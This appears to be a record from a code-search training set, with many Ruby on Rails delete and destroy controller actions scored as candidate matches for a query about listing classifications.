"def destroy\n @admin_level = AdminLevel.find(params[:id])\n @admin_level.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_levels_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_sys_admins_url }\n format.json { render json: { status: 200 } }\n end\n end",
"def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n render json: {:ok => true}\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end",
"def destroy\n @authorization.destroy\n respond_to do |format|\n format.html { redirect_to authorizations_url, notice: 'Autorização apagada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restriction = Restriction.find(params[:id])\n @restriction.destroy\n\n head :no_content\n end",
"def destroy\n\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n \n @rpm = Rpm.find(params[:id])\n @rpm.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n respond_to do |format|\n format.html { redirect_to rpms_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @restriction = Restriction.find(params[:id])\n @restriction.destroy\n\n respond_to do |format|\n format.html { redirect_to restrictions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @access.destroy\n respond_to do |format|\n format.html { redirect_to accesses_url, notice: 'Access was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @access.destroy\n respond_to do |format|\n format.html { redirect_to accesses_url, notice: \"Access was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roles_privilege.destroy\n respond_to do |format|\n format.html { redirect_to roles_privileges_url, notice: 'Roles privilege was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @admin_side_menu = Admin::SideMenu.find(params[:id])\n @admin_side_menu.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_side_menus_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @dbadmin = Dbadmin.find(params[:id])\n @dbadmin.destroy\n\n respond_to do |format|\n format.html { redirect_to dbadmins_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rol.destroy\n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_level.destroy\n respond_to do |format|\n format.html { redirect_to admin_levels_url, notice: 'Level was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end",
"def destroy\n\nrol = Role.where(:id=>current_user.role).first\n\n if rol.nombre == \"ACRM\"\n\n\n @colegiatura = Colegiatura.find(params[:id])\n @colegiatura.destroy\n\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n respond_to do |format|\n format.html { redirect_to colegiaturas_url }\n format.json { head :ok }\n end\n end",
"def delete(*rest) end",
"def destroy\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n @roles_and_permission.destroy\n\n respond_to do |format|\n format.html { redirect_to roles_and_permissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n restrict 'allow only admins' or begin\n @admin = Admin.find_by_id(params[:id])\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.xml { head :ok }\n end\n end\n end",
"def destroy\n restrict 'allow only admins' or begin\n @admin = Admin.find_by_id(params[:id])\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.xml { head :ok }\n end\n end\n end",
"def destroy\n return redirect_to root_url, notice: \"Vous n'avez pas accès à cette ressource.\" if !permition_to_write?(@user)\n @capacite = Capacite.find(params[:id])\n @capacite.destroy\n\n respond_to do |format|\n format.html { redirect_to capacites_url }\n format.json { head :no_content }\n end\n end",
"def orchio_delete\n response = client.send_request :delete, inst_args\n orchio_status response, 204\n end",
"def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_role = Role.find(params[:id])\n @admin_role.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if current_user.admin\n @access_list_to_ea_point.destroy\n respond_to do |format|\n format.html { redirect_to access_list_to_ea_points_url, notice: 'Access list to ea point was successfully destroyed.' }\n format.json { head :no_content }\n end\n else \n redirect_to \"/ea_points\", notice: 'Cannot delete uploaded document.'\n end\n end",
"def destroy\n @license.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Запись о лицензии удалена.' }\n format.json { head :no_content }\n end\n end",
"def delete\n supprimer = AdministrateurService.instance.supprimerAdmin(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def remove_right\n role = Role.find(params[:role_id])\n\tright = Right.find(params[:id])\n\trole.rights.delete(right)\n\tredirect_to roles_rights_url\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n if current_admin.present?\n @client = Client.friendly.find(params[:id])\n @client.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n else\n redirect_to new_admin_session_path and return\n end \n end",
"def destroy\n @miscellaneou.destroy\n respond_to do |format|\n format.html { redirect_to miscellaneous_url, notice: 'Accessory was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def delete!\n request! :delete\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n \n keystone.delete_tenant(keystone.get_tenant(params[:id])[:id])\n\n respond_to do |format|\n format.html { redirect_to tenants_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @administration = Administration.find(params[:id])\n @administration.destroy\n\n respond_to do |format|\n format.html { redirect_to administrations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @administration = Administration.find(params[:id])\n @administration.destroy\n\n respond_to do |format|\n format.html { redirect_to administrations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authenticate_user!\n authorize! :index, @user, :message => 'Not authorized as an administrator.'\n \n @key_policy_maker = KeyPolicyMaker.find(params[:id])\n @key_policy_maker.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to roles_url , :notice => t('hurricane.notice.delete_record_success', :type => t_type)}\n format.json { head :no_content }\n end\n end",
"def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend",
"def delete(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'delete'}.merge(authentication))\n end",
"def destroy\n @api_v1_menu.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @policy_division.destroy\n respond_to do |format|\n format.html { redirect_to policies_path, notice: 'Голосування в політиці видалено' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @authorization = Authorization.find(params[:id])\n @authorization.destroy\n\n respond_to do |format|\n format.html { redirect_to authorizations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :admin, Coordenador\n \n @coordenador = Coordenador.find(params[:id])\n @coordenador.destroy\n\n respond_to do |format|\n format.html { redirect_to coordenadores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n @role_permision = RolePermision.find(params[:id])\n @role_permision.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n\n respond_to do |format|\n format.html { redirect_to role_permisions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n\n @status_del_admitido = StatusDelAdmitido.find(params[:id])\n @status_del_admitido.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n\n respond_to do |format|\n format.html { redirect_to status_del_admitidos_url }\n format.json { head :ok }\n end\n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def destroy\n\t\tauthorize! :destroy, DetalleRestriccion\n @detalle_restriccion.destroy\n respond_to do |format|\n format.html { redirect_to gestionar_restricciones_path, notice: 'Actualizado correctamente'}\n #format.html { redirect_to detalle_restricciones_url, notice: 'Detalle restriccion fue borrado satisfactoriamente.' }\n #format.json { head :no_content }\n end\n end",
"def delete\n request('delete').auth_required!\n end",
"def destroy\n authorize! :destroy, Solicitud\n @solicitud.destroy\n respond_to do |format|\n format.html { redirect_to solicitudes_url, notice: 'Solicitud was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restroom = Restroom.find(params[:id])\n authorize @restroom\n @restroom.destroy\n respond_to do |format|\n format.html { redirect_to restrooms_path, notice: 'Restroom deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize Admin\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, data = {})\n self.class.delete path, :body => data.merge(:u => access_token)\n end",
"def destroy\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n\n @subsede = Subsede.find(params[:id])\n @subsede.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n \n \n\n respond_to do |format|\n format.html { redirect_to subsedes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n authorize @colaboradore\n @colaboradore.destroy\n respond_to do |format|\n format.html { redirect_to colaboradores_url, notice: 'Colaborador eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @priv_policy.destroy\n respond_to do |format|\n format.html { redirect_to priv_policies_url, notice: 'Priv policy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @level.destroy\n respond_to do |format|\n format.html { redirect_to levels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @useradmin = Useradmin.find(params[:id])\n @useradmin.destroy\n\n respond_to do |format|\n format.html { redirect_to useradmins_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restroom = Restroom.find(params[:id])\n @restroom.destroy\n authorize! :destroy, @restroom\n\n respond_to do |format|\n format.html { redirect_to restrooms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restroom = Restroom.find(params[:id])\n @restroom.destroy\n authorize! :destroy, @restroom\n\n respond_to do |format|\n format.html { redirect_to restrooms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n administradorId = @concurso.administrador_id\n @concurso.destroy\n respond_to do |format|\n format.html { redirect_to '/administradors/'+administradorId.to_s, notice: 'El concurso fue eliminado' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @grant = Grant.find(params[:id])\n @grant.destroy\n\n respond_to do |format|\n format.html { redirect_to grants_url }\n format.json { head :ok }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @grantee.destroy\n respond_to do |format|\n format.html { redirect_to grantees_url, notice: 'Grantee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @disability = Disability.find(params[:id])\n @disability.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_disabilities_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @grant.destroy\n respond_to do |format|\n format.html { redirect_to grants_url, notice: 'تمّ حذف منحة بنجاح' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = current_org.users.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_path }\n format.json { head :no_content }\n end\n\n end",
"def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admin_admins_url, notice: \"Administrador (#{@admin.name}), foi excluido com sucesso!\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @admin\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n if ! @collection.delete?(@user, @client)\n render_json :status => :forbidden and return\n end\n @collection.destroy\n render_json :entry => @collection.to_hash(@user, @client)\n end",
"def destroy\n Accessor.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to accessors_url }\n format.json { head :no_content }\n end\n end",
"def delete(*args)\n request(:delete, *args)\n end",
"def delete_course_by_id(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/courses/#{org_unit_id}\" # setup user path\n # ap path\n _delete(path)\n puts '[+] Course data deleted successfully'.green\nend",
"def destroy\n @admin_menu.destroy\n respond_to do |format|\n format.html { redirect_to admin_menus_path, notice: 'Запис успішно видалено.' }\n format.json { head :no_content }\n end\n end",
"def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end",
"def destroy\n @analise_privacidade.destroy\n respond_to do |format|\n format.html { redirect_to analise_privacidades_url, notice: 'Analise privacidade was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_information.destroy\n respond_to do |format|\n format.html { redirect_to admin_information_index_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6821523",
"0.6796628",
"0.66926265",
"0.6686518",
"0.6645824",
"0.66284394",
"0.6593673",
"0.65813273",
"0.6548169",
"0.6537271",
"0.6532709",
"0.6524623",
"0.65094864",
"0.65058345",
"0.64883137",
"0.64711654",
"0.6463697",
"0.64591",
"0.64466465",
"0.64441735",
"0.6436036",
"0.64331484",
"0.64297086",
"0.6421901",
"0.64156705",
"0.6411237",
"0.6402576",
"0.63951695",
"0.6392873",
"0.63742834",
"0.6370113",
"0.6363892",
"0.6360384",
"0.6358112",
"0.634882",
"0.63455",
"0.6343729",
"0.63407207",
"0.63407207",
"0.63346064",
"0.632804",
"0.6319568",
"0.6311849",
"0.63093734",
"0.63078403",
"0.6305822",
"0.6305479",
"0.6301312",
"0.63006043",
"0.62905484",
"0.62871",
"0.6284693",
"0.62807494",
"0.6273658",
"0.626742",
"0.626742",
"0.62670857",
"0.6266563",
"0.6259106",
"0.62579393",
"0.62483597",
"0.62458926",
"0.62438786",
"0.6243455",
"0.62433505",
"0.6242304",
"0.6241584",
"0.62390584",
"0.6238445",
"0.6237615",
"0.6233562",
"0.622138",
"0.6220165",
"0.6218906",
"0.6216622",
"0.6214831",
"0.6212815",
"0.6210101",
"0.6209662",
"0.62036383",
"0.6195897",
"0.61930037",
"0.61930037",
"0.6189146",
"0.61887425",
"0.6188534",
"0.6188265",
"0.6187877",
"0.6187658",
"0.6186665",
"0.61816084",
"0.6179404",
"0.6173618",
"0.6173363",
"0.6172689",
"0.6171141",
"0.61689544",
"0.6161312",
"0.6160952",
"0.6159353"
] |
0.74355155
|
0
|
GET /clasifications or /clasifications.json
|
def index
@clasifications = Clasification.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def classifications(classification)\n params = {\n classification: classification\n }.compact\n\n _get(\"/account/classifications\", params) { |json| json }\n end",
"def index\n @citizenship_classes = @grantee.citizenship_classes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @citizenship_classes }\n end\n end",
"def index\n @clclasses = Clclass.paginate(page: params[:page], :per_page => 10)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clclasses }\n end\n end",
"def show_classes\n classes = Rails.cache.fetch(\"#{current_user.cache_key}/allClasses\", expires_in: 1.hours) do\n keytechAPI.classes.loadAllClasses\n end\n\n # Filter only to files, office file and folders, ignore all CAD-related types\n @classes = []\n classes.each do |element_class|\n next unless element_class.classKey.ends_with?('_WF') ||\n element_class.classKey.ends_with?('_FD') ||\n element_class.classKey.ends_with?('_FILE') ||\n element_class.classKey.ends_with?('_WW') ||\n element_class.classKey.ends_with?('_XL') ||\n element_class.classKey.ends_with?('_PRJ')\n\n if !element_class.classKey.starts_with?('DEFAULT') && element_class.isActive\n @classes.push element_class\n end\n end\n\n response.headers['Cache-Control'] = 'public, max-age=60'\n respond_to do |format|\n format.json do\n render json: @classes\n end\n end\n end",
"def index\n @classifieds = Classified.all\n end",
"def show\n @clasificacion_pegi = ClasificacionPegi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clasificacion_pegi }\n end\n end",
"def class_json\n clazz = @offering.clazz\n section = clazz.section && clazz.section.length > 0 ? clazz.section : nil\n section = section ? \" (#{section})\" : \"\"\n {\n name: clazz.name + section,\n students: @students\n .sort_by { |s| \"#{s.last_name} #{s.first_name}\".downcase }\n .map { |s| student_json(s) }\n }\n end",
"def fetch_classes_list\n uri = URI(BASE_URI + \"classes\")\n classes = make_request(uri)\n classes_instances = classes[\"results\"].map do |classes_data|\n Classes.new classes_data[\"name\"]\n end\n end",
"def show\n @class = Classe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class }\n end\n end",
"def classifications\n classifications = @data[\"spData\"][\"classifications\"]\n if not classifications\n raise Holdings::Error, NO_CLASSIFICATIONS_ERROR\n end\n classifications.first[\"classifications\"]\n end",
"def set_clasification\n @clasification = Clasification.find(params[:id])\n end",
"def index\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @info_classes }\r\n format.json { render :text => get_json }\r\n end\r\n end",
"def servers_with_class(classname)\n hosts = []\n query = ['and', ['=', 'type', 'Class'], ['=', 'title', classname]]\n response = request('resources', query)\n response.each do |r|\n hostname = r['certname']\n hosts << hostname\n end\n\n hosts\nend",
"def show\n @citizenship_class = @grantee.citizenship_classes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @citizenship_class }\n end\n end",
"def show\n @classification = Classification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @classification }\n end\n end",
"def classes_supported_by_rest_api\n [\n 'Search'\n ]\n end",
"def make_api_call(args)\n uri = URI(\"https://classes.cornell.edu/api/2.0/search/classes.json?roster=#{args[0]}&subject=#{args[1]}&acadCareer[]=#{args[2]}&classLevels[]=#{args[3]}\")\n begin\n Net::HTTP.start(uri.host, uri.port,\n :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new uri\n\n response = http.request request # Net::HTTPResponse object\n hash_response = JSON.parse(response.body)\n hash_response\n end\n rescue JSON::ParserError\n {\"status\": \"Error\"} # Returning an empty hash\n end\nend",
"def get_classes_with_http_info(_class, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BlueOceanApi.get_classes ...'\n end\n # verify the required parameter '_class' is set\n if @api_client.config.client_side_validation && _class.nil?\n fail ArgumentError, \"Missing the required parameter '_class' when calling BlueOceanApi.get_classes\"\n end\n # resource path\n local_var_path = '/blue/rest/classes/{class}'.sub('{' + 'class' + '}', _class.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['jenkins_auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BlueOceanApi#get_classes\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n respond_to do |format|\n format.html {\n @search = Classwork.search(params[:search])\n @classworks = @search.paginate(:page => params[:page], :per_page => GlobalSettings.per_page).order('id DESC')\n }\n format.json { \n render json: Classwork.select(\"id, name as text\").to_json \n }\n end\n end",
"def index\n @classrooms = Classroom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @classrooms }\n end\n end",
"def referClass\n result = Hash.new\n result['status'] = true\n begin # try\n @lang = Helper.getLang\n @class = HomePage.referClass(params[:id].to_i)\n if @class != nil\n result['status'] = true\n result['html'] = render_to_string(partial: \"home/course_details\")\n else\n result['status'] = false\n end\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"def index\n @discipline_class_exam_types = DisciplineClassExamType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_class_exam_types }\n end\n end",
"def item_classes\r\n BnetApi::make_request('/wow/data/item/classes')\r\n end",
"def index\n @project_classifications = ProjectClassification.all\n end",
"def show\n @clasificacion = Clasificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @clasificacion }\n end\n end",
"def create\n @clasification = Clasification.new(clasification_params)\n\n respond_to do |format|\n if @clasification.save\n format.html { redirect_to @clasification, notice: \"Clasification was successfully created.\" }\n format.json { render :show, status: :created, location: @clasification }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @clasification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @courts = Court.by_name\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courts }\n end\n end",
"def show\n @classe = Classe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classe }\n end\n end",
"def show\n @class_taken = ClassTaken.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class_taken }\n end\n end",
"def index\n @clas = Cla.all\n end",
"def index\n search = Sunspot.new_search(Classification)\n query = params[:query].to_s.strip\n if query.present?\n @query = query.dup\n search.build do\n fulltext query\n end\n end\n unless params[:mode] == 'add'\n subject = @subject\n classification_type = @classification_type\n search.build do\n with(:subject_ids).equal_to subject.id if subject\n with(:classification_type_id).equal_to classification_type.id if classification_type\n end\n end\n\n page = params[:page] || 1\n search.query.paginate(page.to_i, Classification.default_per_page)\n @classifications = search.execute!.results\n\n session[:params] = {} unless session[:params]\n session[:params][:classification] = params\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def clasification_params\n params.require(:clasification).permit(:clasification)\n end",
"def show\n @classication = Classication.find(params[:id])\n @movies = @classication.movies\n\n respond_to do |format|\n format.html\n format.json {render :json => @classication}\n end\n end",
"def index\n @court_types = CourtType.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @court_types }\n end\n end",
"def show\n if signed_in? && applied_class?\n @user_ids = ClclassesUser.where(:clclass_id=>params[:id])\n @users = Array.new\n @user_ids.each do |u|\n @users.push(User.find(u.user_id))\n end\n @lectures = Lecture.all :joins=>:clclass\n render 'clclass'\n return\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clclass }\n end\n end",
"def index\n @classifiers = Classifier.all\n end",
"def classification\n classifications = @data[\"spData\"][\"classifications\"]\n if classifications.empty?\n raise Holdings::Error, NO_CLASSIFICATIONS_ERROR\n end\n Classification.new(classifications.first)\n end",
"def new\n @classtable = Classtable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classtable }\n end\n end",
"def show\n @classtable = Classtable.find(params[:id])\n #@classtable = Classtable.find(:all, :conditions => { :school_id => @classtable1.id })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classtable }\n end\n end",
"def index\n @glasses = Glass.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @glasses }\n end\n end",
"def index\n page = params[:page]\n per_page = (params[:per_page] || 10).to_i\n if page\n entities = _all_instances_query.page(page).per(per_page)\n render json: entities, entity: _get_class,\n meta: { total_pages: entities.total_pages, total_count: entities.total_count }\n else\n entities = _all_instances_query\n respond_with entities, entity: '_get_class'\n end\n end",
"def show\n @iclass = Iclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @iclass }\n end\n end",
"def index\n @parents = Parent.find_all_by_class_code(params[:course_id])\n @parents = Parent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @parents }\n end\n end",
"def update\n respond_to do |format|\n if @clasification.update(clasification_params)\n format.html { redirect_to @clasification, notice: \"Clasification was successfully updated.\" }\n format.json { render :show, status: :ok, location: @clasification }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @clasification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @classrooms = ClientApi.classroom_all\n end",
"def show\n @test_class = TestClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_class }\n end\n end",
"def character_classes\r\n BnetApi::make_request('/wow/data/character/classes')\r\n end",
"def index\n @classified_people = ClassifiedPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @classified_people }\n end\n end",
"def index\n @klasses = Klass.all\n end",
"def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end",
"def index\n @tutors = Tutor.all\n @all_classes = BerkeleyClass.first.all_classes \n end",
"def index\n @item_classifications = ItemClassification.all\n end",
"def index\n @entities_all = Entity.search(params[:q])\n @groups_all = Group.search(params[:q])\n @properties_all = Property.search(params[:q])\n\n @all = @entities_all + @groups_all + @properties_all\n\n respond_to do |format|\n format.html\n format.json { render json: @all.map { |a| a.attributes.merge 'class' => a.class.name } }\n end\n end",
"def show\n @classified = Classified.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @classified }\n end\n end",
"def show\n render json: @specification_type, serializer: Web::V1::SpecificationTypeSerializer\n end",
"def show\n @myclass = Myclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myclass }\n end\n end",
"def types\n classifications.collect() do |c|\n c[\"classificationTypeName\"]\n end\n end",
"def list_categories(class_id='')\n url = \"#{@@request_url}/Class.listClasses?appid=#{@@appid}&id=#{class_id}\"\n data = get_xml(url)\n return [] unless data[\"status\"] == 'ok' \n return data[\"ClassList\"][0][\"Class\"]\n end",
"def show\n @discipline_class_exam_type = DisciplineClassExamType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_class_exam_type }\n end\n end",
"def index\n @classments = Classment.all\n end",
"def show\n @court_type = CourtType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court_type }\n end\n end",
"def show\n @book_of_class = BookOfClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_of_class }\n end\n end",
"def show\n @constitution = Constitution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @constitution }\n end\n end",
"def new\n @classified = Classified.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classified }\n end\n end",
"def show\n \n if params.has_key?(:discipline_class_id)\n @discipline_class = DisciplineClass.find(params[:discipline_class_id])\n end\n if params.has_key?(:registration_id)\n @registration = Registration.find(params[:registration_id])\n end \n \n @registration_class = RegistrationClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @registration_class }\n end\n end",
"def index\n @practitioner_types = PractitionerType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @practitioner_types }\n end\n end",
"def show\n @criterion = Criterion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @criterion }\n end\n end",
"def show\n @clinicalsection = Clinicalsection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinicalsection }\n end\n end",
"def classification(query, set=nil)\n is_valid_with_error(__method__, [:ipv4, :domain], query)\n if domain?(query)\n query = normalize_domain(query)\n end\n if set.nil?\n get('actions/classification', {'query' => query})\n else\n is_valid_with_error(__method__.to_s, [:classification], set)\n post('actions/classification', { 'query' => query, 'classification' => set })\n end\n end",
"def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end",
"def index\n @portal_clazzes = Portal::Clazz.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @portal_clazzes }\n end\n end",
"def index\n @category_classifieds = CategoryClassified.all\n end",
"def index\n @classses = Classs.all\n end",
"def get_all(klass = nil, search_params = {})\n replies = get_all_bundles(klass, search_params)\n return nil unless replies\n resources = []\n\t\treplies.each do |reply|\n resources.push(reply.entry.collect{ |singleEntry| singleEntry.resource })\n end\n resources.compact!\n resources.flatten(1)\n\tend",
"def request(klass, path, data={})\n url = url(path)\n http = http(url)\n req = build_request(klass, url, data)\n resp = http.request(req) # send request\n load_json(resp)\n end",
"def index\n @klasses = Klass.paginate(:page => params[:page], per_page: 30)\n @number = Klass.count\n\n respond_to do |format|\n format.html\n format.json { render :json => Klass.all.to_json(include: :period) }\n end\n end",
"def index\n @class_types = ClassType.all\n end",
"def show\n @user_class = UserClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_class }\n end\n end",
"def index\n @classessections = Classessection.all\n end",
"def search\n terms = @authority.search(url_search)\n render json: terms\n end",
